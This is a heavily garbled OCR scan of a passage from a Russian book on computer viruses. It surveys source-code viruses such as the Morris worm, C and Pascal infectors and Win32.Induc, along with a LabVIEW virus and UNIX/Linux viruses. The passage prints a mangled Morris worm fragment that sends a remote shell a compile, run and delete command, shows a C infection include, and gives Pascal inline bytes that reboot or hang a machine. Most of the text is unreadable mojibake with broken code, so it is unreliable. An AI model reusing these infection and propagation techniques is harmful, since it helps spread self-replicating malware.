eTCH npHcyTCTBiie Ha KOMnbioTepe xpaHCJunopa c KaKoro-JiH6o H3biKa 

nporpaMMHpoBaHHH. TpaanmioHHO b jiio6oh UNIX-cHCTeM e no vm o.™ - 
hhk) HHCTaJiJMpoBaHbi KOMiiH/iHTopbi c H3biKa Ch (HanpHMep, b Linux 
3To G C C ). B Haoop cxaimapxnbix v th jih t paHHHx BepcHH M S-D O S  
BX<)flH/i HHTepnpeTaTop GW Basic, a na'im-iaa c Bepcnn 4.01 ero 3aMemui 

6ojiee npoaBHiiyrbiH QBasic. Biizuimo, na KOMnbiOTepe Jiio6oro CTynen-
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Ta -n p o rp a M M H C Ta  TaKJtce n p H c y TC T B y e r t o t  h j i h  h h o h  k o m i i h j m t o p  (H a 

npH M e p, Turbo Pascal h j ih  Borland Delphi). 3HaHHT, Bee s t h  CHCTeMbi 

Moryr nocjiyacmrb nH Ta TejibH O H  cpeaoii pjia  pa3MHoaceHHH «Te K C TO B b ix» 

B H pycoB. Bojiee t o t o , B H p yc OKaaceTca b  HeK0T0p0M pofle He aaBHCHMHM 

o t  OnepanHOHHOH c h c t c m h  h  ann apaTH O H  iu ia T^Jo p M U .

IloflTBep>KfleHHeM 3 T0M y aB JiaeTca 3HaMeHHTbifi « MepBb M oppnca», 
KOTOpbiH b  Hoa6pe 1988 r. nepeaaBajica c oflHoro y3Jia ce TH  Ha apyroii 
HMeHHO B BHfle HCXOflHOTO TeKCTa. riojIb3yHCb «flb ip a M H », HMeBUIHMHCH B

pa3Hbix BepcHHX UNIX (BSD UNIX 4.3 h SunOS), oh .sanycKaji KOMaHa- 
Hbiii npoueccop h nepeaaBaji eMy Ha BbinojiHemie rpynny KOMana. Bot 
cooTBeTCTByiomHH <|)parMeHT (TeKCT cjierKa BHjiOH3MeHCH ajih ny6- 
.TOKanHH):

s t a t i c  ta lk _ to _ s t i( s t r u c t  h s t * fiost, in t  fd rd , in t  fdw r) { 
o b je c t  * o b je c tp tr ;  
ch a r send_buf[512]; 
c h a r  p r in t_ 6 u f[5 2 ] ;
in t  1572, 1576, 1580, 1584, 1588, 1592;
c b je c t p t r  = getobjectbyna ine(XS( "11 .c " ) ) ;

s sR C _ te x t( fdw r, X S ("P A T H = /t> in :/u s r/b in :/u sr/u cB \n "));
3e n o _ te x t( fdw r, XSC 'cd /u s r / tm p \n ") ) ;
1576 = random() % OxOOFFFFFF;
s p n n t f ( p r in t _ b u f ,  X S C x S d .C " ) , 1576); /* topHMposaHMe CJiyMaiiHoro mem •/

/* 3aecb paocajiKa ncxoflHoro TeKCTa Bupyca */

# define  COMPILE "cc -o  x%d x%d.c;./x%s *s %d *d; rm - f  xftd x% d.c;echo D0NE\n" 
s p r in t f ( s e n d _ b u f , XS(COMPILE), 1576, 1576, 1576, in e t_ n to a (a 2 ir i(1 5 9 2 )) ,

1580, 1584, 1576, 1576); /*  KoManfla KoMnMJinuMM, 3anycKa h yfla/ieHHd */
sen o _ te x t( fd w r, send_buf);

AHajiH3npyH ero, mo>kho npHHTH k CJie/iyiomHM BbiBoaaM: 
O nepBOHaMajibHO TeKCTMepBa c oaep aca jica  b (JiaiiJie c HMeHeM « l l . c » ,  

Kyaa nonaflaji b pe3yjibTaTe pa6oTbi apyrnx (J)par.MeHTOB; 
O Ha yaajieHHOH MauiHHe tck c t MepBa noMemaJica bo  BpeMeHHbiH 

c})aHJi co cjiyHaiiHbiM HMeHeM B iiaa «x 1 234567.c »; 

O  a  jih «n o c T p o e H H a »  MepBa n cn o jib 30 B a jica  «cT a ti£ a p T H b m » KOMmi- 

j ia T o p  c a3biKa Ch, 3anycKaeM biii KOManaoft « c c » ;  

O  n o c jie  komomjihuhh B H pycH aa nporpaMMa 3anycK a jiacb , a HcnoJi- 
HaeMbiH M oa y jib  ee  y a a jia j ic a  c zuic.Ka. 

/lo chx nop TexHOJiorHH, HcnoJibstJBanHbie b «MepBe M oppnca», ocTa- 
lOTca HeBocnpoH3BeaeHHbiMii. CoBpeMeHHbie ceTeBbie nepBH pacnpo- 
crpanaioTca b  BH/ie Maiiiiiiinoro Koaa, a He b  BHae TeKCTa.
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MeToabi pa3MHoaceHHa b BH/ie Hcxo^Horo TeKCTa AQJiroe BpeMa obuin 
cjia6o BOCTpe6oBaHM BHpycoiiHcaTejiaMH. B ochobhom noao6Hbie Biipy- 
cbi o 6cy»cflaJiHCb Ha crpaHiiuax khht Tuna «Eo/ibmoH ciipaBO'iHHK no 
KOMnbioTepHbiM BHpycaM» Pajib(J>a Bioprepa [36] h jih ^I’uraHTCKaH uep- 
Haa KHiira no KOMnbioTepuHM BHpycaM>> MapKa Jlro/iBHra [49]. B nocjiezi- 
Hefi aajKe 6h jii i  npiiBeaeubi jih cthh ih  ̂ Byx TaKiix BHpycoB, oahh 3apa»caji 
nporpaMMbi Ha Ch, apyroH -  Ha IlacKajie. H;iero pa6oTbi npoiue Bcero 
paccMoxpeTb Ha npHMepe nepBoro H3 hhx. Oh ticKaji b chctcmhom OKpy- 
»ceHHH (environm ent) CTpoKy BHfla «INCLUDE=C:\QC\INCLUDE», 
KOTOpaa u rn  KOMnbioTepoB c ycTanoBjieiiHbiM KOMnH.TaropoM MS Quick 
C yKa3bmajia Ha KaTajior a jih BKjnouaeMbix h-(}>atiJiOB, h KonHpoBaji Tyfla 
cboh TeKCT b BHfle 4>aiiJia «VIRUS.H». 3aTeM Biipyc HCKaJi b TeKymeM 
KaTajiore Bee (})aHJibi c pacuiHpemieM « . € »  h MOflHcjwmHpoBaJi hx TaKHM 
06pa30M, MTo6bi TeKCT Biipyca oica3ajica BKJifOHentibiM b tck c t nporpaM
Mbi h npn stom  o6ecneHHBaJica Bbi30B BiipycHbix npoueayp. HanpHMep, 
«3a0p0BbiH» tck c t nporpaMMbi:

( f in c lu d e  < s td io . h> 
rca in O  {
p u t s C 'H e llo  w o r ld ! ");

I

n p eB p a iu a jica  b hchto B po^e

•include <virus.h> // BMMMeniw $a%ia c T8kctom enpyca
( ( in c lude  < s td io .h>  
m a in () { 

p u t s C 'H e llo  w o r ld ! ");
s c _ v ir u s ( ) ;  / /  Bu3oe npoueflypw noktcr.a m oa3MHoxeHiiq
}

Cyaa no BocnoM iiH aH H aM  BHpycojioroB, npHMepHO b s t o  x e  BpeM a 

(b  1994 r . )  noaBH Jica h  BHpyc SrcVir, KOTophijft vmcji no/toonbiM * e  0 6 - 

pa30M 3apaacan> nporpaM M bi cp a 3 y  j is y x  bhjiob -  HanncaHHbie Ha C h  h 
IlacKajie. HecKOJibKO noa>Ke craji H3BecTeH BH pyc HLLP.Beginpas, koto- 
pbiH o6xo/uijich 6e3 rtpoMeacyTOHHbix cfraii.non a jia  xpaHeHiia CBoero tckc- 
Ta, a H cn o jib 30 B a ji TexHOJiorHio «K y im oB ». M o jk h o  TaK^ce ynoMaHyTb pa/i 
caM opa3M H oacaiom H Xca nporpaM M , HCXOflHue tckcth  KOTopbix 6buni 
oriyoJiHKOBaHbi b a jie icrpoH H b ix  acypH ajiax B iip ycon H caTejieH .

Bee 3TH BHpycbi 6bUIII CJIHUIKOM npHMHTHBHblMH, JierKoo6iiapy/KHMbi- 
m h , /ia h npaKTHKa nepenociiTb HCXo^Hbie tckcth  nporpaMM c MauiHHbi 
Ha MaiuiiHy otcytctbo isa.ta. TaK mto rnaHCOB Ha Majio-MajibCKyio ann^e- 
MHIO V HHX He HMeJIOCb.

3aTO TaKoii rnaHc 6u.n  y  ropa3ao  o o jie e  x ir rp o y M n o ro  B iip yca  U rph in . 
B o t  ero  o n iica iiH e , B3 » -roe  vi:( runepTeKCTO Boro Kaxa.nora E. KacnepcKoro:



«9K30TWHecKi/ie» Bupycbi ❖ 489

...npn 3anycKe KOMnnnaropa TurboPascal BHpyc TaioKe nepexBarbi- 
B a er  oTKpbime h 3aKpbiTHe (pan/ioB. Hpn otkputhh .PAS-cpati/ioB 
(hcxoahhkh Ha Pascal) BHpyc mixer b HMXflupeKTmy noAnporpaMMbi 
(«BEGIN»), Bcraenaer noc/ie wee cboh koa b bhab inecTHaAUarepm- 
HoroAaMna h cnadxaer ero HeodxoAHMbiMH KOMaHAaMH Pascal, flpn 
3aKpbiTHH TaKoro (patina BHpyc yAanneTH3 Hero cboh koa. B pe3y/ib- 
rare npn KOMnnmuHH nacKaneBCKHX hcxoahhkob pe3ynbTHpytoiuHe 
EXE-<t>aHJibi OKa3biBatOTCH «APonnepaMH» BHpyca, a caMH .PAS-cpan- 
/ibi ocratorca 6es HSMeHeHHH...
H o h  oh  He iiojiy4H/i pacnpocTpaHeHHH.

Haflo npH3 HaTb, h to  BecbMa luioaoTBopHaa iiaea  MonH(f)HKaixnH TeK- 

cra  coa^aBaeMUX nporpaM M  OKa3a;iacb BHpycom icaTejWM «H e  no 3y6aM».
M ojkho, KoneMno. ynoM HHyrb oneHb opsirMHajibHVK) m c to/IHKV no ;ra- 

Mop(J)H3Ma, KOTopyio nbrrajica ncri0/ib30BaTb Bupyc W in .A p p a r it io n :

... Oh 3 a n n c b iB a e T  h c x o a h u h  r e K c r  B H p y ca  n a  a h c k , A o S a B n a e r  b H e ro  

«nycrbiuiKH» na tlacKane (nmero He 3HanaiAHe KOMaHAts Pascal), 
a a re M  KO M nH /inpyer s t o t  r e K c r  b EXE-(pann (e c m  n p n  C K a n n p o B a -  
h h h  a m ck ob  o 6 Hapy>KHn (pati/ibi Pascal -  3 a n y c K a e r  h x  n e p e 3  PIF), 
K O M n p e c c n p y e r  h  A o n n c b iB a e r  k  EXE-cpatiny nonyveH H biu  Pascal- 
m cxoahhk, A o 6 a a n a e T  o c ra B iu n e c ft  m a  6n o K a  A aH H bix  (cm . Bbiiue  
c rp y ic ry p y  B H p y ca ) h  3 a n H C b iB a e r p e a y n b ra r  b Karanor Windows n oA  
H M eH eM  VIDACCEL.EXE, t o  e c r b  M OAH < pnuH pyer c b o h  A p o n n e p . Ta
KHM 0 6 p a 3 0 M, B H p y c  H e aB / iaercfi 3 aujH<ppoBaHHbiM, h o  n b ira e rc a  

MOAHCpHUHpOBaTb CBOH KOA, TO eCTb MyTHpOBaTb.

Bhw eme cTpaHHMH BHpyc SayNay, kotopmh npHKperuiHJi k 3apa»ceH- 
Hoii nporpaMMe jmiub cboh hcxoahhh TeKCT Ha H3buce acceM6jiepa n He- 
CKOJIbKO KOMaH/I 3anHCH 3T0TO TeKCTa B aHCKOBblH (JjaftjI. CTapTOBaB H3 
3apa*eHHOH nporpaMMbi, BHpyc KOMiiM.inpoBa.T, KOMrioHOBaji h 3anyc- 
Ka.n Ha Bbino.raeHHe cboio «Bnpy/ieHTHyio» pa3H0BH3H0CTb.

H o  6o;ibiimHCTBo MeJiKHX naKOCTHHKOB ochjihjih jihoib .aypaijKHe 

myTKH, aHajioniHHbie iicn0Jib30BaHHbiM b BHpycax rana L igh tn ing .4 251 : 

...npn otkputhh (paii/iob, coAepxamnx nacKa/ieBCKHe HCXOAHue 
reKcrbi (. PAS-cpan/ibi), BHpyc Hiuer b hhx crpoKy «BEGIN» h BcraB- 
naer KOMaHAY, Koropaa /ih6o nepeaarpyxaer, m 6o 3aBeiuHBaeT 
KOMnbtorep: 
inline($b9/$02/$00/$e2/$fb); 
inline($ea/$f0/$ff/$00/$f0)...

TaKOBbi S ay h a .D ieh a rd .4 0 9 6 , H a i fa .b  h  t . n.
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Bee HeMHoroHHCJieHHbie «TeKCTOBbie» BHpycbi cK0JibK0-HJi6yAb 3a- 
MeTHoro pacnpocTpaH eH H H  He nojiyHium h npoH3Bejm BnenaTJieHHe 

TOJibKO Ha cnenHajjHCTOB. M e x o a u  pa3MHoaceHHa, Hcnojib3_yiom He npe/t- 
CTaBJieHHe BHpycHofi nporpaMMbi b B H je  h c x o a h o to  TeKCTa, ejiH norJiacH o 

6bIJIH npH3HaHM He3(fxJ)eKTHBHbIMH.
TeM 6oJiee uioiaipyiomeH 0Ka3ajiacb MiipoBaa annfleMHH BHpyca 

W in32.Induc, pa3pa3HBiuaaca b 2009 r. YaHBHTeJibHoe AeJio, b BeK H3om- 
peHHbix aHTHBiipycoB h cBepxnoflospHTejibHbix nojib30BaTejieii s to t  Bii
pyc npocymecTBOBaji He3aMeneHHbiM 6oJiee 8 MecaqeB, 3apa3HB AecaTKH 
TbiCHH nporpaMM bo Bcex yrojiKax Miipa, n 6w ji o6Hapy»ceH coBepuieHHo 
cjiynaHHO. OKa3ajiocb, BHpyc W in32.Induc 3apa»caji cjiy>tce6Hbie 4>aftjibi 
cpeflbi pa3pa6oTKH Borland Delphi BepcHH c 4.0 no 7.0, BxoAfliime b hhc- 
TaJIJIHIJHIO B BHAfi HCXOflHblX TeKCTOB. Oh BCTaBJIHJI CBOH CaMOpa3MHO-
acaiomniica koa b hcxoahmh tck c t c./iyaceoHoro MoayJia «S Y S C O N S T . 
PAS* H K0Mmi.iHp0Baji ero. riocjie aroro BH pyc cranoBHJica qacTbio 
jik>6oh nporpaMMbi, c03AaiiH0H npn noMomn Borland Delphi. TaKHM 06- 
pa30M, nporpaMMbi 3apaacajmcb b nponecce cosaaHHa, a nojib30BaTejm 
noKynajm pa3HOUBeTHue KopooKH yace c « 3apa.:soH». HecJin b ce6e bh- 
pycHUH koa BecbMa «VBaacaeMbie» bo BceM MHpe npiuioaceHHa: neiiaacep 
Q IP, npoHrpbiBaTejib A IM P , 4)aHJioBbiH MeHe^acep Total Commander h 
npoHHe. K  cMacTbio, Biipyc W in32 .Inducne coBepmaji hh raynbix mvtok, 
hh BpeAOHOCHbIX AeilCTBHH, OH TOJibKO pa3MHoacajica.

Ha MOMeHT HamicaHHH 3thx ctpok He cym ecT B yeT  eme «noApaacaHHii» 
BHpycy W in32.Induc. H o  cjihuikom ya« oh «nporpeM eji» (b  otjimmhc o t  
BHpycoB ceMeiicTBa Fom, KOTOpbie #echth JieTHcm paHee ncri0Jib30BajiH 
t v  ace HAeio AJia aapaaceniia cpeAbi Turbo Pascal, ho npouuiH He3aMe- 
HeHHbiMH). Bo3Mo»cho, eme noaBarca iiHbie Biipycbi, 3apaacaiomHe pa3- 
jiHMHbie cjiyace6Hbie cf)aiijibi Borland Delphi, Borland C /C ++  Builder, 
M icrosoft Visual C /C ++ , M icrosoft Visual Basic 11 npoTOX nonyjiapHbix 
cpeA nporpaMMiipoBaHHH.

7.2.4. rpa<t>MHecKMe Bupycbi
/lyMaeTe, ohh iie.B03M0vKHbi? Bbi ouiH6aeTecb. B c(f>epe nporpaMMiipoBa- 
ima npHJioaceHHH 11m  cucTeM coopa Aamibix h ynpaBJieHHa c.aoacHbi.MH 
TeXHHHeCKHMH o6beKTaMH IlIHpOKO npHMeHSHOTCH H3MKII, HCnOAb3yK>- 
mne AJia onncaHHa aJiropiiTMa rpa(}>HMccKyio HOTamno. HanpHMep, o ’ leub 
nonyjiapHa cpeaa L a b V IE W  (jiHpMbi National Instruments, nporpaMMbi 
AJia kotopoh  «pnc}TOTca» MbimKoii b cnemiajiii3Hp0BaHH0M rpacJ)Hne- 
ckom peAaKTope. ToHHee, He «pncyioTca», a «co6iipaioTca» H3 3apanee 
3aroxoBjieHHbix 6jiokob, CBaaamibix A p v r  c apyroM jihhhhmh nepeAaw
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aaHHbix. B cTaH/tapTHoii nocTaBKe LabVIEW s th x  6jiokob tmchhh: jum  

BwnoJiHeHHa MareManwecKHX a  Jiorm ecKHX o n e p m m i  na/! aaHHH- 
Mii, jx.nn pa6oTM c (faiiJiaMH h KaTaJioraMH, n.Jin ynpaBJienna BHeuiHHMH 
ycTpoftcTBaMH, a jih  BsanMOiieHCTBHH no ccth h npo'iero. Heyacejm cpe/ta, 
o6jiaflaromaH ctojib 6oraThiMH B03M0>kh0cthmh, He nosBOJiaeT <mapnco- 
BaTb» npocTeHUiHH BHpyc? Kohbhho ace no3BojraeT! Bot oh, nepe/i BaMH.

P hc . 7 .7  ❖  nepe3anncbiBaiom nCi BHpyc 
Ha rpacJjMsecicoM si3biKe G cpe flb i LabVIEW

A 3to  40Ka3aTe^bCTB0 ero pa60T0cn0C06H0CTH. nporpaMMbi jum  

LabVIEW xpaiiHTCH b cjaaHJiax c paciuiipeHHeM «.VI». TaKHM 6w jio  co- 
flepjKHMoe Kaxajiora ao 3anycita BHpyca:

VIRUS VI
MSGBOX VI 
DEBUG VI

3 saiiJioB

35 860 23 .10 .02  
8 960 06 .11 .96  
7 618 06 .11 .96  

52 438 oa iir

A bo t  TaKHM oho ctsjio nocjie:
VIRUS VI
MSGBOX VI 
DEBUG VI

35 860 23 .10 .02  22 
35 860 23 .1 0 .02  22 
35 860 23 .10 .02  22 

107 680 6a .'T

58 VIRUS. VI 
00 MSGBOX.VI 
00 DEBUG.VI

VIRUS.VI 
MSGBOX.VI 
DEBUG.VI

Bh/jho, h to  BHpyc aaMecTH.i co6oh  bcc npoHne «nporpaMMbi» b TeKy- 
meM KaTajiore. Oh o th o ch tc ji k KJiaccy « iicpesaiincbraaioiu hx». ho bo3- 

Mo/KHbi h BHpycbi-«napa3HTbi», npiiKpenjiHromiieca k npyniM nporpaM- 
MaM LabVIEW.



492 ❖ cDn/\oco(J)ci<:ne n MaTeMafviHecKne acneKTbi

CHCTeMa L a b V IE W  pa6oTaeT b tskhx cpe^ax, KaK W indows, Linux 
h M ac O S  X . IIoTeHUHa.ibHO BHpyc Mor 6u  Bojibrorao noryJian> no 
pa3HMM yrojiKaM MHpa h pa3HWM oriepanHOHHbiM cncTeMaM -  ec.ra 6u  
aBTop He «yn oK on ji»  ero HaBe’mo b ®uibHHx 3anacHHKax CBoeft kojijick- 
uhh.

7.2.5. BMpycu b mhwx onepaijMOHHbix CMCTeMax
H h  aJia Koro He ceKpeT, hto onepaimoHHbie chctcmm M S - D O S  h W indow s  

cJjupMbi Microsoft, aBnaach  cTanaapTOM «ae-(J)aKTo» aJia aoMa h ocjjuca, 
Ha npoTStaceHHH HeTBepnt BeKa cjiyacaT ochobhoii mrraTeabHOH cpeaoH 
a JIH pacnpOCTpaHCHHH KOMnbiOTepHbix BHpyCOB. OflHaKO KOMnblOTepHaH 
«3apa3a» cymecTByeT h b apyrax onepamioHHMx cpeaax, xotsi h He npw- 
oopeaa TaM eme CTaTyca r.ao6aJibHOH npofiae.Mbi.

7J2.5.1. Bupycbi e UNIX-nodo6Hbix cucmeMax
Han6ojiee 3aMeTHoii ajibTepHaniBOH onepaUHOHHMM cucreMaM o t  

M icrosoft HBJIfllOTCH MHOrOHHCaeHHble KJIOHM H pa3HOBHaHOCTH U N IX . 
Cpeaii hhx mojkho OTMeTHTb oecnaaTHbie G N U /Linux h FreeBSD, kom- 
Mep'iecKHe N etB S D , M acO S X, IB M  A IX , Sun Solaris, H P -U X  h npo- 
HHe, Hcno/ifisyeMbie He TOJibKO aaa nocrpoeHHH ceTeBbix h (J)aHJioBbix 
cepBepoB, ho h Ha p a o o w x  cTaHnnax. Taicace caeayeT ynoMiniyTb one- 
pauHOHHwe cucTeMbi peaabHoro BpeMeHH Tuna Q N X , LynxOS, V x  Works 
H npoHne. Hauieauiiie iirapoKoe npHMeHeHHe aJia pemeHHa 3aaan 3bto- 
MaTH3anHH ynpaBaeHHH texHhheckhmh cncreMaMH. B o6meM h neao.\i 
kjiohm U N IX  paooraioT Ha cawwx pa3Hbix npoueccopax h HcnoJib3yioT 
pa3anHHbie cnoco6u  opraHimqHH a#pa. H o hx pa3pa6oTHHKH CTapaioT- 
ca c00TBeTCTB0BaTb ceMeiicTBaM CTanaapTOB P O S IX  1003.1 h 1003.2, 
VHH(J)imHpyioiUHM He TOJibKO HHTepcJjeiic ripHKaaaiibix nporpaMM k aapy 
OnepanHOHHOH CHCTeMbi, HO H MHOJKCCTBO KOMaJia, CepBHCHMX VTH.THT H 
t. n. Baaroaapn 3T0.viy o6ecneHHBaioTca o6mHocn> noBeaeHHH h nepeHO- 
CHMOCTb nporpaMM H3 oaHoro UNIX-KaoHa Ha apyroii b BHae HcxoaHbix 
TeKCTOB.

Ba»cHOH oco6eHHDCTbio UNIX-noaooiib ix chctcm HBJineTcn peajin30- 
BaHHaa b hhx npocTaa, ho o'lenb acfx^eKTHBHaa iioacHCTeMa pa3rpaHH- 
HeHjia aocTyna k cfjaiiaaM, KaxaaoraM h nponiiM o6ieKTaM «<f)aHJiOBoro 
THna» -  KaHaaaM, coKeTaM h nponeMy. KaacflOMy aamnmae.woMy o6i>eKTy 
cTaBaTca b cootbctctbhc 10 «cj}jiaroB»:

O  1 -ii «4)Jiar» OTBenaeT 3a ran  o6'beKTa ( « d »  -  KaTaaor, « b »  -
Ha 6a 0MH0M ycTpoiicTBe, « c »  -  4>aHa Ha chmbojii>hom ycTpoHCTBe, 
« s »  -  coKeT, « p »  -  KaHaa, «1» -  ccbiaKa);
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O  «4>Jiar» 2 HMeeT 3HaneHHH hjih « - »  h oTBenaeT 3a B03M0acH0CTb 
HTeHHa coflepacHMoro of/beKTa BJianejibneM;

O  «4>Jiar» 3, npHHHMaiomHH 3na4eHHe «w >  h jih  « - » ,  oTBenaeT 3a bh- 

40H3MeHeHHe (3airacb) o6-beicra co CTopoHbi Bjia^ejibiia;
O  «<})Jiar» 4, co 3HaneHHHMH «x>> h jih  « - » ,  oTBenaeT 3a bo3mo>khocti> 

3anycKa ooBeKTa Ha BbinojiHeHiie co CTopoHbi Bjiaaejibija ( ajih Ka
TaJioroB -  3a B03M0>KH0CTb nepexoaa BHyTpb);

O  « ( f ) j ia n i»  5 - 7  Hecyr Harpy3Ky, SKBHBajieHTnyio «4>JiaraM» 2 -4 , ho 

othochtch  k  rpynne nojibsoBaTejieii, b KOTOpyiO bxo/ih t  BJia/ieJteu;

O  «c{)JiarH» 8- 1 0  T aK *e  HHTepnpeTHpyioTCH n0fl06H0 «cj)JiaraM» 2 -4 , 

ho KacaioTca Bcex ocTajibHbix nojib30BaTejieH.
KoM 6iiHHpyH 4>JiarH, mojkho nojiynaTb pasJiiiuHbie cxeMbi ;iocTyna. 

HanpHMep, ycTaHOBHB a m  nporpaMMbi Ha6op «b —x - x - x » ,  mojkho o6ec- 
neMHTb 40B0JibH0 Heo6biHHoe nojio>KeHHe zieJi: nporpaMMHbiii cfjavinr oKa- 
aceron He TojibKo He/iocTyriHbiM a m  MOflH^HKamm, ho h HeBH/iHMWM a m  

Jiio6o ro  nojib30BaTe.Ta. O/uiaKO, anpnopn 3naa hmh nporpaMMbi, ee no- 
npe>KHeMy m oxh o  6yzieT 3anycTHTb Ha ncnojmeHHe.

OjiaraMii ^ocTyna k ooteKTy mojkho ynpaBJiHTb -  ycTanaBjiHBaTb hx 

h jih  c6pacbiBaTb, h o  s to  HMeeT npaBo aejiarb  TOJibKO «BJiaaejieus> o 6t -  

eicra. ElziHHCTBeHHbiH n0Jib3OBaTeJib, Ha KOToporo He pacnpocrpaHHioTCH 

onucaHHbie orpammeHHH, -  s t o  «roo t> .

B  npHHiuine, HeKOTOpbie U N IX -n oao 6Hbie onepauHOHHMe CHCTeMbi 

noaaepacHBaioT h jionojiHHTejibHbie «4>jiarH», TaK Ha3biBaeMbie «s tick y - 

6HTbI», KOTOpUe MOflHcj)HimpyK)T H VTOHHHIOT fleHCTBHe OCHOBHMX «(J)Jia- 

roB », -  ho eziHHoro cTaHflapTa Ha hx Hcri0.Tb30BaHHe, no - b hjjhm omv, He 

cymecTByeT. Ham e Bcero 3 th  6iiTbi cjiyacaT ajih  ycTaHOBKH «cjio>KFibix>> 

npaBHJi, HanpHMep: 3anncb b KaTajior pa3peuieHa a m  Jiio6oro n 0 J ib 3 0 B a -  

TeJIH, HO yflaJIHTb MOJKHO TOJIbKO ^ CBOH»  (Jjanjlbl.
Bbi MOJKCTe cpaBHHTb cxeMy 3amiiTbi b U N IX  c aHa.'ioniMHoi'i cxeMoii, 

npiiHHTOH b Windows NT, h oTMeTHTb, h to  OHa He TojibKo npome no op- 
raHH3auHH, ho h yaoGHee b HcnoJibaoBaHHH. I io  KpamieH Mepe, n0Jib30Ba- 
TeJIb-HOBHMOK HHHtTO He flOJIJKeH HaCTpaHBaTb BpyHHyiO, a HMeiOmilXCH y 
Hero npHBHJieriifi BnojiHe xBaTaeT /yin cepbe3HOH pa6oTbi.

CymecTByioT jih BHpycw, cnoco6Hbie pa3MHoacaTbca b U N IX -iio ;io6- 
Hbix cucTeMax? Ha, h HeMaJio: b Konne nepBoro aeoiTHJieTiiH X X I BeKa hx 

HaCHHTblBaJlOCb OKOJIO COTHH -  60JIbIIIHHCTB0 flJIH LinUX, no HeCKOJIbKV
iutjtc ajiH BeOS, FreeBSD, Q N X  h M acO S X.

Bee t o t  >Ke O pen  Ko.an b cepenmie 1980-x to^ob npoBoziHJi cboh 
3HaMeHHTbie aKcnepHMeHTbi no 3apamTinfo nporpaMM na HeKoii pa3H0- 
bhzihocth U N IX  hjih VAX  11/750 (bhzihmo, 3to  6buia onepaitHOHHaa
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CHCTeMa Ultrix). B 1995 ro/iy MapK JIioflBiir pa3MecTHJi b cBoeft KHHre 
«rnraHTCKaa nepHan KHHra no K0Mnbi0TepHbiM BnpycaM» [49] hcxo^hwh 
TeKCT BHpyca Snoopy, cn oco6Horo pa6oTaTb b  FreeBSD. B 1996 roay 
6bura o6HapofloBaHH, TaKace b BHZje hcxoahhx tckctob, BHpycw Linux. 
B liss h L inu x.S taog . B hobom BeKe, nporropmioHajibno pocTy nonyjrap- 
hocth  U N IX -chctcm , CTaJio yBeJUiHHBaTbca h kojihhcctbo BHpycoB ajih 
hhx. Ho npaKTHHecKH Bee ohh HMejin KOHuenTyaJibHHH xapaKTep h cpa3y 
ace nocjie po»c,zieHiw HanpaBJuuincb b «npooHpKH» k BHpycoJioraM. KaK 
peflKoe HCKJiio'ieHHe Moacuo ynoMHHyTb He6o.?ibHiyio annaeMHio BHpyca 

O S X .L eap , npoHHKaBiuero Ha HoyT6yKii Micintosh KaK ceTeBoii nepBb h 
nbiTaBuieroca nocjie aToro 3apaacan> nporpaMMbi, cjiobho «HacToaiHHH» 
BHpyc.

I t o  ace npeacTaBJiHiOT c o 6o i i  U N I X - B H p y c w ?  C p e ^ H  hhx BCTpenaioTai 
noMTH Bee pa3HOBHflHOCTH «3apa3bi», paccMOTpeHHHe HaMH paHee [12].

BojibuiHHCTBO BHpycoB othochtch K KJiaccy «CTVaeHHeCKHX»: HmyT 
nejiH /Ijm  3apaaceHHii b TeKymeM KaTajiore. HeKOTOpbie (HanpHMep, 
L inux.N uxbee.1403  h L inux.D iesel.962 ) nbrraioTCH 3apa3HTb yra/niTH 
b KaTajiore «/ b in », a L in ix .K agob  Boo6me CKaHHpyeT /iepeBo KaTa.'io- 
roB, HaHHHan c KopHH. Ho Ha^o OTMeTHTb, hto m o6zsi nonuTKa 3apa3HTb 
nporpaMMbi b o/ihom H3 «chctcm hhx» KaTa.aoroB yBeHHaeTCH ycnexoM 
TOJibKo b tom cjiynae, ecjin BHpyc 3anymeH « o t  hmchh h no nopyneHHio* 
nojib30BaTejia c npaBaMH cynepa/iMiiHHCTpaTopa (to  ecTb nojiKsoBaTejia 
c  JIOfHHOM «rO O t»).

CymecTByioT h  pe.mienxHbie BHpycbi, HanpHMep Linux.Sillov.5916, 
KOTOpblH nepexBaTWBaeT ch ctcm h h h  BH30B ex ecve () -  npaB/ja, TO/ibKO 
b ajpecHOM npocTpaHCTBe 3apaaceHHOH nporpaMMbi. TaKHM 06pa30M, 
ec.iH 3apaaceHHOH OKaaceTca ynuiHTa, 3an\'CKaioiuaH Ha BbinojmeHiie 

flpyrne nporpaMMH (HanpHMep, me -  HcnojmaeMbm Moayjib nporpaMMbi 
Midnight Commander), t o  BHpyc cyMeeT 3apa3HTb h hx.

P a 3JiiiHHbi h  cnocoobi 3apajKeHna nporpaMM. HanpHM ep, BHpyc Linux. 

Quasi p a 6oTaeT no npn  huh  ny  «cnyTH H Ka». O h  nepeHMeHOBbiBaeT opn- 

nm a.7ibHbni (f>afiji aapaxcaeMOH nporpaMMbi. a o 6 aB;iHH b nanajio ch m b o ji 

«TOHKa» (TaKHe fya&Jiu no yMOJiHaiiino He 0T0 6 paacaroTCH KOMarmoii Is), 
a ceoH 3 a n n c H B a e T  Ha ero m c c to . CTapTOBaB, BHpyc n p o /io jm a e T noHCK u 
3apa>KeHHe a p y ru x  nporpaM M  h  ju iiub  n 0T0M 3anycKaeT opuniHajr.

IlpHMepoM «ofsepjieiiHoroi> Bnpyca jiBjwexcH Linux.S ilvio. Oh 3aMe- 

maeT (Jjaiiji 0pHrHHa.TbH0H nporpaMMbi, flomicbiBaH ero k ce6e b KOHen. 

CTapTOBaB, miu'T h 3apa5KaeT o>iept;anbie acepTBH. a 33tcm cSpacbiBaeT 

3apa>KeHHyio nporpaMMy bo BpeMemibni 4>aHJi m 3anycKaeT  ee.
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OneHb MHoriie BHpycbi cnocofiHbi 3apa»caTb cfraiiJibi b 4>opMaTe E LF
(3TO OCHOBHOH (J)OpMaT HCIIOJIHHeMblX (f)aHJIOB JlJlfl COBpCMeHHMX BepCHH
U N IX ).  OopMaT E L F  BecbMa noxoac Ha PE-tfxjpMaT jy ia  W indow s, h 3to  
He cjiynaHHo, h6o h ELF, h P E  HaeojionwecKH bocxosht k o6meMy npo- 
TOTHny -  HecKOJibKO 6ojiee paHHeMy UNIX-<J>opMaTy COFF. Hcnojfflae- 
mmh Moay.ib ELF*4>opMaTa HawHaeTca c 3arojioBKa:

, 'E L F ',  12 dup (? )  ; *00 CurnaTypa
-i-lOh Tun (1  -nepeM&maer-ibfH, 2 -n cno .nH fieH b iii, 3 -o 6 b e K T H H fl,  4 -n a p o )  

+12h flpoueccop (2-Spare, 3-180x8-5, 4-MC 68K, 5-MC 88K, 7 -i808x) 
+14h Bepcufl 
+18h Tomks Bxopa
